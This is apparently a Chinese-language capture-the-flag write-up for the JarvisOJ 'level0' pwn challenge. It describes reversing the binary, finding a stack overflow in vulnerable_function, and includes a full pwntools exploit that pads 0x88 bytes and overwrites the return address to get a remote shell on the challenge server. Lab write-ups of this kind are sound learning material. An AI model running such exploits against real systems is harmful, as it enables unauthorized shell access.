0x00 已知条件
nc pwn2.jarvisoj.com 9881
给了远端url和端口,nc过去发现输出了一行“Hello, World!”。
下载了给的文件“lelvel0”,IDA看源码。
0x01 思考过程
总的来说这部分就看逆向了,得出结论是一个典型栈溢出。
这是main函数里明明白白写着名字叫 vulnerable_function:) 的栈,而调bash的系统调用就在它上面一点。
下面很显然要一路填充payload,直到恰好用那个系统调用函数的地址覆盖掉返回地址 retn。
0x02 EXP
这部分就完全没接触过了,学人家的吧。了解了pwntools这个工具,大大减少了写EXP的工作量。
至少知道文件描述符fd(File descriptor)很重要,详见Linux文件描述符。
而且vulnerable_function也调用了read函数,fd为1,标准输出(默认模式器设备)。
[python]
# -*- coding:utf-8 -*-
from pwn import *
sh = remote("pwn2.jarvisoj.com", 9881) # set remote server as 'sh'
junk = 'a' * 0x80 # infillings, including 8B for rbp in stack
replace_rbp = 'a' * 0x8
syscall = 0x0000000000400596
payload = junk + replace_rbp + p64(syscall)
sh.send(payload) # send payload for stuff
sh.interactive()
- 在正确溢出返回地址、调用sh.interactive()开启交互后,得到了远端的shell,找一下flag文件即可。